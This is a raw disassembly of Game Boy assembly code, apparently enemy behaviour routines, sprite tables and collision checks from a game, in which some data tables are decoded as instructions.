ldh [$ff00 + $f1], a
ldh a, [$ff00 + $e7]
rl a
rl a
and $10
ld hl, $ffed
xor [hl]
ld [hl], a
ld de, $6245
call func_3c3b
ldh a, [$ff00 + $f0]
cp $02
jr nc, 0.l_6340
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_6340
ld hl, $c430
add hl, bc
ld [hl], $90
call func_3beb
ld hl, $c430
add hl, bc
ld [hl], $d0
ld hl, $c360
add hl, bc
ld a, [hl]
cp $f0
jr nc, 0.l_6340
call func_3b8d
ld hl, $c480
add hl, bc
ld [hl], $50
ret
ldh a, [$ff00 + $f0]
cp $02
jr nc, 0.l_6352
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr nz, 0.l_6352
call func_7b8c
call func_3b9e
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6389
ld e, $08
bit 0, a
jr nz, 0.l_6371
ld e, $00
bit 1, a
jr nz, 0.l_6371
ld e, $04
bit 2, a
jr nz, 0.l_6371
ld e, $0c
ld hl, $c2b0
add hl, bc
ld [hl], e
call func_27ed
rr a
jr c, 0.l_6384
ld hl, $c2c0
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
call func_0891
ld [hl], $10
call func_088c
jr nz, 0.l_63bf
ld [hl], $06
ld hl, $c2c0
add hl, bc
ld a, [hl]
ld hl, $c2b0
add hl, bc
add a, [hl]
and $0f
ld [hl], a
ld hl, $c2b0
add hl, bc
ld e, [hl]
ld d, b
ld hl, $5fb2
add hl, de
ld a, [hl]
call func_3b87
ld hl, $5fc2
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $5fc6
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
call func_0891
jr nz, 0.l_63d7
call func_27ed
and $1f
add a, $10
ld [hl], a
call func_27ed
and $02
dec a
ld hl, $c2c0
add hl, bc
ld [hl], a
ret
ld hl, $c2b0
add hl, bc
ld a, [hl]
cp $03
jp z, .l_6d5d
cp $02
jp z, .l_6d8c
and a
jp nz, .l_6c7e
ldh a, [$ff00 + $f0]
cp $02
jr c, 0.l_6435
cp $0b
jr z, 0.l_63f9
cp $0c
jr nz, 0.l_6402
ld a, $06
ldh [$ff00 + $f1], a
call func_5728
jr 0.l_6405
call func_6943
call func_7b20
call func_08e2
ldh a, [$ff00 + $f0]
cp $09
jr nc, 0.l_6435
call func_3bb4
ld hl, $c360
add hl, bc
ld a, [hl]
cp $e8
jr nc, 0.l_6435
call func_3b8d
ld [hl], $09
ld a, $09
ldh [$ff00 + $f0], a
ld a, $10
ldh [$ff00 + $f3], a
call func_0891
ld [hl], $80
ld hl, $c420
add hl, bc
ld [hl], $80
ldh a, [$ff00 + $f0]
rst 0
call z, func_1f64
ld h, l
ld h, l
ld h, l
cp b
ld h, l
ldi a, [hl]
ld h, [hl]
sbc a, $66
ld h, [hl]
ld h, a
and e
ld h, a
rst 30
ld h, a
ldhl sp, d
ld h, a
rrc a
ld l, b
jr z, 0.l_64b8
xor l
ld l, b
rst 38
ld l, b
nop
nop
ld c, d
nop
nop
ld [$204a], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld c, h
nop
nop
ld [$204c], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld c, [hl]
nop
nop
ld [$204e], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ldh a, [$ff00 + $00]
ld e, h
nop
ldh a, [$ff00 + $08]
ld e, h
jr nz, 0.l_64a5
nop
ld e, [hl]
nop
nop
ld [$205e], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
<error>
ld l, d
nop
nop
inc b
ld l, h
jr nz, 0.l_64bd
inc c
ld l, d
jr nz, 0.l_64b4
<error>
ld d, b
nop
di
inc b
ld d, d
nop
di
inc c
ld l, [hl]
nop
xor a
ldh [$ff00 + $f1], a
call func_3b87
call func_5728
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld a, $50
ldh [$ff00 + $98], a
ld a, $30
ldh [$ff00 + $99], a
ld a, $10
call func_3c25
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_6508
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_6508
call func_0891
ld [hl], $60
call func_3b8d
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_7b8c
ret
inc b
inc bc
ld [bc], a
ld bc, $0000
nop
nop
nop
nop
nop
nop
nop
call func_0891
jr nz, 0.l_653f
ld [$d224], a
ld hl, $c210
add hl, bc
ld a, [hl]
sub a, $08
ld [hl], a
call func_0891
ld [hl], $08
ld a, $04
call func_3b87
call func_52d8
jp $3b8d
rr a
rr a
rr a
and $0f
ld e, a
ld d, b
ld hl, $6512
add hl, de
ld a, [hl]
rl a
rl a
rl a
and $f8
ld e, a
rl a
and $f0
add a, e
ld e, a
ld hl, $6454
add hl, de
ld c, $06
call func_3d26
ld a, $06
call func_3dd0
ret
call func_0891
jr nz, 0.l_6577
ld [hl], $7f
jp $3b8d
call func_7bdf
ld a, e
ld [$d21e], a
ret
ret
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
inc b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
ld [bc], a
rlc a
ld [$0000], sp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ld a, $00
ld [$d21e], a
call func_0891
jr nz, 0.l_65cd
call func_0887
ld [hl], $4c
call func_656f
jp $3b8d
cp $40
jr nz, 0.l_65d6
ld hl, $fff4
ld [hl], $19
cp $58
jr nz, 0.l_65df
ld hl, $fff2
ld [hl], $39
rr a
rr a
and $3f
ld e, a
ld d, b
ld hl, $6598
add hl, de
ld a, [hl]
ld [$d224], a
ld hl, $6578
add hl, de
ld a, [hl]
call func_3b87
ld a, [$d224]
cp $05
jr z, 0.l_6607
ld a, $f3
ld [$d225], a
ld a, $f0
ld [$d226], a
ret
ld a, $f8
ld [$d225], a
ld a, $fe
ld [$d226], a
ret
inc bc
ld [bc], a
ld bc, $0000
ld bc, $0302
add sp, d
nop
jr 0.l_6636
nop
add sp, d
add sp, d
nop
stop
jr 0.l_6635
ldh a, [$ff00 + $e8]
ldh a, [$ff00 + $10]
jr 0.l_65f8
add a, a
ld [$0b20], sp
ld [$d221], a
call func_0891
ld [hl], $30
jp $3b8d
ld a, [$d21e]
and a
ld a, $f5
jr z, 0.l_6644
ld a, $0b
ld [$d225], a
ld a, $ee
ld [$d226], a
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
nop
and $01
call func_3b87
ld a, [$d21e]
and a
ld hl, $6612
jr z, 0.l_6663
ld hl, $6616
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
nop
nop
and $03
ld e, a
ld d, b
add hl, de
ld a, [hl]
inc a
ld [$d224], a
ldh a, [$ff00 + $e7]
and $1f
jr nz, 0.l_66d9
ld a, [$d221]
cp $06
jr nc, 0.l_66d9
ld a, $e6
call func_3c01
ret c
ld hl, $c2e0
add hl, de
ld [hl], $30
ld hl, $c2b0
add hl, de
ld [hl], $02
push bc
ld hl, $c340
add hl, de
ld [hl], $42
ld hl, $c350
add hl, de
ld [hl], $00
push de
push de
pop bc
call func_3b65
pop de
ld a, [$d21e]
and a
ld a, [$d221]
jr nz, 0.l_66b2
xor $07
ld c, a
ld hl, $6622
add hl, bc
ld a, [$d225]
add a, [hl]
ld hl, $ffd7
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $661a
add hl, bc
ld a, [hl]
sub a, $0c
ld hl, $ffd8
add a, [hl]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $d221
inc [hl]
pop bc
ret
dec bc
ld a, [bc]
ld [bc], a
ld a, [bc]
ld a, [$d21e]
and a
ld a, $fd
jr z, 0.l_66e8
ld a, $03
ld [$d225], a
ld a, $ec
ld [$d226], a
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
nop
nop
and $03
ld e, a
ld d, b
ld hl, $66da
add hl, de
ld a, [hl]
inc a
ld [$d224], a
call func_0891
jr nz, 0.l_6760
ld [hl], $40
xor a
ld [$d224], a
call func_3b8d
ld a, $e6
call func_3c01
jr c, 0.l_6760
ld hl, $c2b0
add hl, de
inc [hl]
ldh a, [$ff00 + $d8]
sub a, $10
ld hl, $c210
add hl, de
ld [hl], a
ld a, [$d21e]
ld hl, $c380
add hl, de
ld [hl], a
and a
ld a, $08
jr nz, 0.l_6736
ld a, $f8
ld hl, $ffd7
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ld hl, $c340
add hl, de
ld [hl], $40
ld hl, $c350
add hl, de
ld [hl], $08
push bc
push de
pop bc
call func_3b65
ld a, $18
call func_3c25
call func_0891
ld [hl], $30
ld a, $27
ldh [$ff00 + $f4], a
pop bc
ld a, $02
call func_3b87
ret
call func_0891
jr nz, 0.l_677d
ld [hl], $1f
call func_27ed
and $07
ld hl, $c2c0
add hl, bc
ld [hl], a
call func_5140
call func_3b8d
ld a, $03
call func_3b87
ret
jr z, 0.l_67d5
ld a, b
jr z, 0.l_6800
jr z, 0.l_67da
ld a, b
jr nz, 0.l_67b5
jr nz, 0.l_67bf
jr nc, 0.l_67e1
ld d, b
ld d, b
jr nz, 0.l_67b3
inc e
ld a, [de]
jr 0.l_67af
inc d
ld [de], a
stop
ld c, $0c
ld a, [bc]
ld [$0406], sp
ld [bc], a
ld a, $04
call func_3b87
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld hl, $c2c0
add hl, bc
ld e, [hl]
ld d, b
ld hl, $6783
add hl, de
ld a, [hl]
ldh [$ff00 + $98], a
ld hl, $678b
add hl, de
ld a, [hl]
ldh [$ff00 + $99], a
call func_0891
rr a
and $0f
ld e, a
ld d, b
ld hl, $6793
add hl, de
ld a, [hl]
call func_3c25
ld hl, $ffee
ldh a, [$ff00 + $98]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_67ed
ld hl, $ffec
ldh a, [$ff00 + $99]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_67ed
call func_3b8d
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_7b8c
ret
ret
call func_0891
jr nz, 0.l_680e
ld [hl], $40
call func_5458
call func_3b8d
ld a, $00
call func_3b87
xor a
ld [$d224], a
ret
ld a, $06
ldh [$ff00 + $f1], a
call func_5728
call func_0891
jr nz, 0.l_6827
ld hl, $c340
add hl, bc
res 6, [hl]
call func_3b8d
call func_3daf
ret
call func_3bb4
call func_7b8c
call func_3b9e
ldh a, [$ff00 + $e7]
and $01
jr nz, 0.l_6856
ld a, $18
call func_3c30
ldh a, [$ff00 + $d7]
ld hl, $c250
sub a, [hl]
bit 7, a
jr z, 0.l_6848
dec [hl]
dec [hl]
inc [hl]
ldh a, [$ff00 + $d8]
ld hl, $c240
sub a, [hl]
bit 7, a
jr z, 0.l_6855
dec [hl]
dec [hl]
inc [hl]
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6876
ld hl, $c340
add hl, bc
set 6, [hl]
call func_0891
ld [hl], $80
call func_27d2
ld a, $10
ldh [$ff00 + $f3], a
call func_53ad
jp $3b8d
ld hl, $c3d0
add hl, bc
ld a, [hl]
inc a
ld [hl], a
and $07
ret nz
ld a, $e6
call func_3c01
ret c
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2b0
add hl, de
ld [hl], $03
ld hl, $c2e0
add hl, de
ld [hl], $1f
ld hl, $c340
add hl, de
ld [hl], $c2
ld hl, $c3b0
add hl, de
ld [hl], $01
ret
call func_0891
cp $01
jr nz, 0.l_68b8
dec [hl]
jp $5140
and a
ret nz
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld a, $50
ldh [$ff00 + $98], a
ld a, $30
ldh [$ff00 + $99], a
ld a, $0c
call func_3c25
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_68ed
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_68ed
call func_0891
ld [hl], $5f
call func_3b8d
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
call func_7b8c
ret
nop
nop
nop
ld bc, $0101
ld [bc], a
ld [bc], a
call func_0891
jr nz, 0.l_692c
call func_3daf
call func_52e2
ld hl, $c360
add hl, bc
ld [hl], $ff
ld hl, $c340
add hl, bc
ld [hl], $00
ld hl, $c430
add hl, bc
ld [hl], $c0
call func_0887
ld [hl], $90
xor a
ld [$d223], a
ld hl, $c300
add hl, bc
ld [hl], $3f
ret
cp $20
jr c, 0.l_6932
ld a, $1f
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $68f7
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
call func_5728
ret
ldh a, [$ff00 + $f0]
cp $0a
ret nc
ldh a, [$ff00 + $f1]
inc a
ret z
ld a, [$d21e]
and a
ldh a, [$ff00 + $f1]
jr z, 0.l_6956
add a, $05
ldh [$ff00 + $f1], a
call func_69ec
call func_6a84
call func_6c2c
ret
ldhl sp, d
<error>
ld d, b
nop
ldhl sp, d
inc b
ld d, d
nop
ldhl sp, d
inc c
ld l, [hl]
nop
ld [$6af8], sp
nop
ld [$6c00], sp
nop
ld [$6c08], sp
jr nz, 0.l_6983
stop
ld l, d
jr nz, 0.l_697e
rst 38
rst 38
rst 38
ei
cp $50
nop
ei
ld b, $52
nop
ei
ld c, $6e
nop
ld [$6af8], sp
nop
ld [$6c00], sp
nop
ld [$6c08], sp
jr nz, 0.l_69a3
stop
ld l, d
jr nz, 0.l_699e
rst 38
rst 38
rst 38
ldhl sp, d
<error>
ld l, [hl]
jr nz, 0.l_699f
inc b
ld d, d
jr nz, 0.l_69a3
inc c
ld d, b
jr nz, 0.l_69b7
ldhl sp, d
ld l, d
nop
ld [$6c00], sp
nop
ld [$6c08], sp
jr nz, 0.l_69c3
stop
ld l, d
jr nz, 0.l_69be
rst 38
rst 38
rst 38
ei
ld a, [$206e]
ei
ld [bc], a
ld d, d
jr nz, 0.l_69c6
ld a, [bc]
ld d, b
jr nz, 0.l_69d7
ldhl sp, d
ld l, d
nop
ld [$6c00], sp
nop
ld [$6c08], sp
jr nz, 0.l_69e3
stop
ld l, d
jr nz, 0.l_69de
rst 38
rst 38
rst 38
nop
nop
ld [bc], a
ld bc, $0200
ld [bc], a
nop
inc bc
ld [bc], a
ldh a, [$ff00 + $f1]
ld e, a
ld d, b
ld hl, $69e2
add hl, de
ld a, [hl]
rl a
rl a
rl a
rl a
rl a
and $70
ld e, a
ld hl, $6962
add hl, de
ld c, $07
call func_3d26
ld a, $07
call func_3dd0
ret
<error>
ldhl sp, d
ld h, h
nop
cp $11
ld h, b
nop
cp $19
ld h, d
nop
<error>
ld sp, hl
ld h, h
nop
cp $11
ld h, b
nop
cp $19
ld h, d
nop
ldh a, [$ff00 + $00]
ld h, h
jr nz, 0.l_6a28
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ei
stop
ld h, b
nop
ei
jr 0.l_6a9d
nop
nop
ldhl sp, d
ld h, [hl]
nop
cp $10
ld h, [hl]
jr nz, 0.l_6a44
rst 38
rst 38
rst 38
<error>
stop
ld h, h
jr nz, 0.l_6a4b
rst 28
ld h, d
jr nz, 0.l_6a4f
rst 30
ld h, b
jr nz, 0.l_6a49
rrc a
ld h, h
jr nz, 0.l_6a57
rst 28
ld h, d
jr nz, 0.l_6a5b
rst 30
ld h, b
jr nz, 0.l_6a51
ld [$0064], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ei
ldh a, [$ff00 + $62]
jr nz, 0.l_6a70
ldhl sp, d
ld h, b
jr nz, 0.l_6a77
ldhl sp, d
ld h, [hl]
nop
nop
stop
ld h, [hl]
jr nz, 0.l_6a80
rst 38
rst 38
rst 38
ldh a, [$ff00 + $f1]
rl a
rl a
and $fc
ld e, a
rl a
and $f8
add a, e
ld e, a
ld d, b
ld hl, $6a0c
add hl, de
ld c, $03
call func_3d26
ld a, $03
call func_3dd0
ret
<error>
nop
ld [hl], b
nop
<error>
ld [$2070], sp
<error>
nop
ld a, h
nop
<error>
ld [$207c], sp
ld [$7c00], sp
ld b, b
ld [$7c08], sp
ld h, b
inc d
nop
ld [hl], b
ld b, b
inc d
ld [$6070], sp
nop
nop
ld a, [hl]
ld b, b
nop
ld [$207e], sp
di
dec c
ld a, b
jr nz, 0.l_6ac0
dec d
halt
jr nz, 0.l_6ade
di
halt
ld b, b
dec c
ei
ld a, b
ld b, b
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
<error>
ld [hl], d
nop
nop
<error>
ld [hl], h
nop
nop
<error>
ld a, d
nop
nop
inc c
ld a, d
nop
nop
inc d
ld [hl], h
jr nz, 0.l_6af5
inc e
ld [hl], d
jr nz, 0.l_6af9
nop
rst 38
rst 38
nop
nop
rst 38
rst 38
nop
nop
ld a, [hl]
nop
nop
ld [$607e], sp
di
di
halt
nop
di
ei
ld a, b
nop
dec c
dec c
ld a, b
ld h, b
dec c
dec d
halt
ld h, b
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
pop af
rrc a
ld a, b
jr nz, 0.l_6b16
rl a
halt
jr nz, 0.l_6b36
di
halt
ld b, b
dec c
ei
ld a, b
ld b, b
nop
nop
rst 38
rst 38
nop
ld [$ffff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
pop af
pop af
halt
nop
pop af
ld sp, hl
ld a, b
nop
dec c
dec c
ld a, b
ld h, b
dec c
dec d
halt
ld h, b
nop
nop
rst 38
rst 38
nop
ld [$ffff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ldhl sp, d
ld [$2078], sp
ldhl sp, d
stop
halt
jr nz, 0.l_6b71
ldhl sp, d
halt
ld b, b
ld [$7800], sp
ld b, b
nop
nop
rst 38
ld b, b
nop
ld [$20ff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
inc b
ld a, b
jr nz, 0.l_6b81
inc c
halt
jr nz, 0.l_6b8d
<error>
halt
ld b, b
inc b
inc b
ld a, b
ld b, b
nop
nop
rst 38
ld b, b
nop
ld [$20ff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ldhl sp, d
ldhl sp, d
halt
nop
ldhl sp, d
nop
ld a, b
nop
ld [$7808], sp
ld h, b
ld [$7610], sp
ld h, b
nop
nop
rst 38
nop
nop
ld [$60ff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
<error>
halt
nop
<error>
inc b
ld a, b
nop
inc b
inc b
ld a, b
ld h, b
inc b
inc c
halt
ld h, b
nop
nop
rst 38
nop
nop
ld [$60ff], sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ldhl sp, d
ld [hl], d
nop
nop
nop
ld [hl], h
nop
nop
ld [$2074], sp
nop
stop
ld [hl], d
jr nz, 0.l_6bf1
ld [$ffff], sp
nop
stop
rst 38
rst 38
nop
nop
rst 38
rst 38
nop
nop
rst 38
rst 38
nop
ei
ld [hl], d
nop
nop
inc bc
ld [hl], h
nop
nop
dec b
ld [hl], h
jr nz, 0.l_6c0d
dec c
ld [hl], d
jr nz, 0.l_6c11
<error>
rst 38
rst 38
nop
inc c
rst 38
rst 38
nop
nop
rst 38
rst 38
nop
nop
rst 38
rst 38
ld [$0606], sp
ld b, $04
inc b
inc b
inc b
inc b
inc b
inc b
inc b
ld a, [$d224]
and a
ret z
ld a, [$d225]
ld hl, $ffee
add a, [hl]
ld [hl], a
ld a, [$d226]
ld hl, $ffec
add a, [hl]
ld [hl], a
ld a, [$d224]
dec a
ld e, a
ld d, b
ld hl, $6c20
add hl, de
ld c, [hl]
ld d, b
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
ld a, e
and $e0
ld e, a
ld hl, $6aa0
add hl, de
push bc
call func_3d26
pop de
ld a, e
call func_3dd0
call func_3dba
ret
inc bc
ld [bc], a
ld bc, $0000
ld bc, $0302
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c290
add hl, de
ld a, [hl]
cp $09
jp nc, $7c35
ld hl, $c3d0
add hl, bc
ld a, [hl]
rr a
rr a
rr a
and $03
ld e, a
ld d, b
ld hl, $c380
add hl, bc
ld a, [hl]
and a
ld hl, $6c76
jr z, 0.l_6ca7
ld hl, $6c7a
add hl, de
ld a, [hl]
inc a
ld [$d224], a
xor a
ld [$d225], a
ld [$d226], a
call func_6c2c
xor a
ld [$d224], a
call func_7b20
ldh a, [$ff00 + $e7]
and $0f
jr nz, 0.l_6cc8
ld a, $3a
ldh [$ff00 + $f4], a
ld hl, $c3d0
add hl, bc
inc [hl]
call func_7b8c
call func_3bbf
call func_0891
jr z, 0.l_6cd9
ret
ldh a, [$ff00 + $98]
push af
ldh a, [$ff00 + $99]
push af
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c200
add hl, de
ld a, [hl]
ldh [$ff00 + $98], a
ld hl, $c210
add hl, de
ld a, [hl]
sub a, $0c
ldh [$ff00 + $99], a
ld a, $10
call func_3c30
ld hl, $c250
add hl, bc
ldh a, [$ff00 + $d7]
sub a, [hl]
and $80
jr nz, 0.l_6d06
inc [hl]
inc [hl]
dec [hl]
ld hl, $c240
add hl, bc
ldh a, [$ff00 + $d8]
sub a, [hl]
and $80
jr nz, 0.l_6d14
inc [hl]
inc [hl]
dec [hl]
ld hl, $ff99
ldh a, [$ff00 + $ec]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_6d46
ld hl, $ff98
ldh a, [$ff00 + $ee]
sub a, [hl]
add a, $03
cp $06
jr nc, 0.l_6d46
ld a, [$d201]
ld e, a
ld d, b
ld hl, $c290
add hl, de
ld a, [hl]
cp $08
jr nz, 0.l_6d46
ld [hl], $03
ld hl, $c2e0
add hl, de
ld [hl], $4c
call func_7c35
pop af
ldh [$ff00 + $99], a
pop af
ldh [$ff00 + $98], a
ret
ld c, d
nop
ld c, d
jr nz, 0.l_6d9e
nop
ld c, h
jr nz, 0.l_6da4
nop
ld c, [hl]
jr nz, 0.l_6d5a
nop
ld bc, $1101
ld c, l
ld l, l
call func_3c3b
call func_7b20
call func_0891
jp z, $7c35
rr a
rr a
rr a
and $03
ld e, a
ld d, b
ld hl, $6d59
add hl, de
ld a, [hl]
call func_3b87
ret
ld e, $00
ld e, $60
inc [hl]
nop
inc [hl]
jr nz, 0.l_6dd9
nop
ld d, h
jr nz, 0.l_6ddf
nop
ld d, [hl]
jr nz, 0.l_6d7d
rst 20
rl a
rl a
and $10
ldh [$ff00 + $ed], a
ld de, $6d7c
call func_3c3b
call func_7b20
ldh a, [$ff00 + $f0]
rst 0
and h
ld l, l
cp e
ld l, l
call func_0891
jr nz, 0.l_6dae
ld [hl], $20
jp $3b8d
ld e, $00
cp $18
jr nc, 0.l_6db6
ld e, $01
ld a, e
call func_3b87
ret
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $02
call func_3b87
call func_0891
cp $01
jr nz, 0.l_6dd7
ld a, $28
ldh [$ff00 + $f4], a
ld a, $30
call func_3c25
ldh a, [$ff00 + $e7]
xor c
rr a
jr nc, 0.l_6de3
call func_7b8c
call func_3bbf
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7c35
ldh a, [$ff00 + $ec]
cp $88
jp nc, $7c35
ret
ld bc, $0302
inc bc
inc bc
inc bc
ld [bc], a
ld bc, $2320
ld h, $29
inc l
cpl
ldd [hl], a
dec [hl]
jr c, 0.l_6e3c
jr c, 0.l_6e3e
jr c, 0.l_6e40
jr c, 0.l_6e42
jr c, 0.l_6e44
jr c, 0.l_6e46
jr c, 0.l_6e48
jr c, 0.l_6e4a
jr nz, 0.l_6e37
ld h, $29
inc l
cpl
ldd [hl], a
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
inc [hl]
jr z, 0.l_6e53
ld h, $25
inc h
inc hl
ldi [hl], a
ld hl, $1f20
ld e, $1d
inc e
dec de
ld a, [de]
add hl, de
jr 0.l_6e54
jr 0.l_6e56
jr 0.l_6e58
jr 0.l_6e5a
inc bc
ld [bc], a
ld bc, $0000
nop
nop
nop
ld hl, $c300
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6e6e
cp $10
jr nz, 0.l_6e5c
dec [hl]
call func_52d8
ld a, $10
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $6e42
add hl, de
ld a, [hl]
ldh [$ff00 + $f1], a
call func_5728
ret
call func_7070
call func_7b20
ldh a, [$ff00 + $f0]
rst 0
ld a, l
ld l, [hl]
cp c
ld l, a
sub a, $6f
ld hl, $c360
add hl, bc
ld a, [hl]
cp $f0
jr nc, 0.l_6eb3
ld a, $03
ld [$c5a7], a
ld a, $f6
call func_2197
ld a, $5e
ld [$d368], a
call func_0891
ld [hl], $80
ld hl, $c420
add hl, bc
ld [hl], $80
ld hl, $c350
add hl, bc
res 7, [hl]
ld hl, $c340
add hl, bc
set 6, [hl]
call func_27d2
call func_3b8d
ret
ldh a, [$ff00 + $e7]
and $0f
jr nz, 0.l_6ecd
ld a, [$d223]
cp $04
jr nc, 0.l_6ecd
inc a
ld [$d223], a
cp $01
jr nz, 0.l_6ecd
ld hl, $d368
ld [hl], $50
call func_08e2
ld hl, $c360
add hl, bc
ld a, [hl]
cpl
cp $17
jr c, 0.l_6edc
ld a, $17
ld e, a
ld d, b
ld hl, $6dfa
add hl, de
ld a, [hl]
ld hl, $c2b0
add hl, bc
ld [hl], a
ld hl, $6e12
add hl, de
ld a, [hl]
ld hl, $c2c0
add hl, bc
ld [hl], a
ld hl, $6e2a
add hl, de
ld a, [$d210]
inc a
cp [hl]
jr c, 0.l_6f02
ld a, $3d
ldh [$ff00 + $f2], a
xor a
ld [$d210], a
ld a, $00
call func_3b87
call func_0887
jr nz, 0.l_6f23
call func_27ed
and $0f
add a, $20
ld [hl], a
call func_27ed
and $01
jr nz, 0.l_6f23
call func_088c
ld [hl], $7f
ld hl, $c350
add hl, bc
set 7, [hl]
call func_088c
jr z, 0.l_6f48
rr a
rr a
rr a
rr a
and $07
ld e, a
ld d, b
ld hl, $6df2
add hl, de
ld a, [hl]
call func_3b87
cp $03
jr nz, 0.l_6f48
ld hl, $c350
add hl, bc
res 7, [hl]
call func_3bb4
ld e, $0f
ld hl, $c360
add hl, bc
ld a, [hl]
cp $f8
jr nc, 0.l_6f58
ld e, $07
ldh a, [$ff00 + $e7]
and e
jr nz, 0.l_6f88
ldh a, [$ff00 + $99]
push af
sub a, $20
ldh [$ff00 + $99], a
ld a, $08
call func_3c30
ldh a, [$ff00 + $d7]
ld hl, $c250
add hl, bc
sub a, [hl]
and $80
jr nz, 0.l_6f76
inc [hl]
inc [hl]
dec [hl]
ldh a, [$ff00 + $d8]
ld hl, $c240
add hl, bc
sub a, [hl]
and $80
jr nz, 0.l_6f84
inc [hl]
inc [hl]
dec [hl]
pop af
ldh [$ff00 + $99], a
call func_7b8c
call func_3b9e
ld hl, $c2b0
add hl, bc
ld e, [hl]
ld hl, $c3d0
add hl, bc
ld a, [hl]
add a, e
ld [hl], a
jr nc, 0.l_6fa3
ld a, [$d221]
inc a
ld [$d221], a
ld hl, $c2c0
add hl, bc
ld e, [hl]
ld hl, $c2d0
add hl, bc
ld a, [hl]
add a, e
ld [hl], a
jr nc, 0.l_6fb8
ld a, [$d222]
dec a
ld [$d222], a
ret
call func_0891
cp $02
jr nz, 0.l_6fc5
ld hl, $d368
ld [hl], $5f
and a
jr nz, 0.l_6fd5
ld [hl], $80
ld a, $3d
ldh [$ff00 + $f4], a
ld a, $10
ldh [$ff00 + $f3], a
call func_3b8d
ret
call func_0891
and $0f
jr nz, 0.l_700f
ld a, [$d223]
cp $00
jr nz, 0.l_700b
call func_08d7
call func_53ad
call func_7c35
ld a, $e6
call func_3c01
ld hl, $c390
add hl, de
ld [hl], $02
ld hl, $c210
add hl, de
ld [hl], $30
ld hl, $c200
add hl, de
ld [hl], $50
ld hl, $c3b0
add hl, de
ld [hl], $ff
ret
dec a
ld [$d223], a
ret
ldh a, [$ff00 + $fc]
ld h, b
nop
ldh a, [$ff00 + $04]
ld h, d
nop
ldh a, [$ff00 + $0c]
ld h, b
jr nz, 0.l_700d
<error>
ld h, h
nop
ldh a, [$ff00 + $04]
ld h, [hl]
nop
ldh a, [$ff00 + $0c]
ld h, h
jr nz, 0.l_7019
<error>
ld l, b
nop
